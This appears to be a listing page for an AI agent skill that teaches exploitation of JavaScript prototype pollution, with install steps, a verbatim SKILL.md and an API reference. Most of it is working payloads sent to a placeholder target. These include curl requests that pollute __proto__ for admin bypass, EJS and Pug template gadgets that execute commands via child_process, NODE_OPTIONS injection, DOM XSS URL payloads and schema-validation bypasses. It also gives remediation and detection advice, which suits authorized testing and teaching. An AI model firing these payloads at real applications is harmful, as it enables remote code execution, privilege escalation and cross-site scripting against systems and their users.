What it does. Detects and exploits JavaScript prototype pollution vulnerabilities Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript, or copy the skill folder into ~/.claude/skills/exploiting-prototype-pollution-in-javascript/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-prototype-pollution-in-javascript/SKILL.md

SKILL.md (verbatim)

name: exploiting-prototype-pollution-in-javascript
description: Detects and exploits JavaScript prototype pollution vulnerabilities
  in client-side and server-side (Node.js) applications to achieve XSS, RCE, or
  authentication bypass through property injection into Object.prototype. Use when
  assessing a JavaScript/Node.js application for prototype pollution, especially
  where a merge, clone, or extend function accepts user-controlled keys.
domain: cybersecurity
subdomain: web-application-security
tags:
- prototype-pollution
- javascript
- node-js
- xss
- rce
- property-injection
- dom-xss
- server-side-pollution
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055

Exploiting Prototype Pollution in JavaScript

When to Use

• When testing Node.js or JavaScript-heavy web applications
• During assessment of APIs accepting deep-merged JSON objects
• When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
• During code review of object merge/clone/extend operations
• When evaluating npm packages for prototype pollution gadgets

Prerequisites

• Burp Suite with DOM Invader extension for client-side prototype pollution detection
• Node.js development environment for server-side testing
• Understanding of JavaScript prototype chain and object inheritance
• Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
• Prototype Pollution Gadgets Scanner Burp extension for server-side detection
• Browser developer console for client-side prototype manipulation

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'

Step 3 — Exploit Client-Side for DOM XSS

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Step 4 — Exploit Server-Side for RCE

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Step 5 — Exploit for Authentication and Authorization Bypass

# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'

Step 6 — Detect with Automated Tools

# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

Key Concepts

Tools & Systems

Common Scenarios

1. DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
2. RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
3. Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
4. JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data
5. Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives

Output Format

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)

Other files in this skill

• LICENSE
• references/api-reference.md
• scripts/agent.py

references/api-reference.md (verbatim)

API Reference: Prototype Pollution in JavaScript

What is Prototype Pollution?

Attacker modifies Object.prototype through unsafe object merge operations, causing all JavaScript objects to inherit attacker-controlled properties.

Attack Vectors

JSON Body

{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}

Query Parameters

?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=true

URL Path

/api/merge?__proto__.polluted=true

Vulnerable Functions

Exploitation Impact

Privilege Escalation

// Server checks: if (user.isAdmin) { ... }
// After pollution: Object.prototype.isAdmin = true
// All objects now have isAdmin = true

RCE via Template Engines

{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('id')"}}}

Denial of Service

{"__proto__": {"toString": null}}

Source Code Detection Patterns

Dangerous Sinks

// lodash merge
_.merge(target, userInput)

// Recursive assign
function merge(target, source) {
    for (let key in source) {
        target[key] = source[key]  // No __proto__ check!
    }
}

Safe Alternatives

// Object.create(null) — no prototype
const obj = Object.create(null)

// Filter __proto__
if (key === '__proto__' || key === 'constructor') continue;

// Object.freeze(Object.prototype)
Object.freeze(Object.prototype)  // Prevent modification

Testing with pp-finder

# Scan npm package for prototype pollution
npx pp-finder /path/to/node_modules/package

Burp Suite Extension — Server-Side Prototype Pollution

Detection

1. Send {"__proto__": {"status": 510}} in JSON body
2. If response status changes to 510, server is vulnerable
3. Send {"__proto__": {"json spaces": 10}} — response indentation changes

Remediation

1. Use Map instead of plain objects for user data
2. Freeze Object.prototype
3. Validate/sanitize keys: reject __proto__, constructor, prototype
4. Use Object.create(null) for merge targets
5. Update vulnerable libraries (lodash >= 4.17.12)

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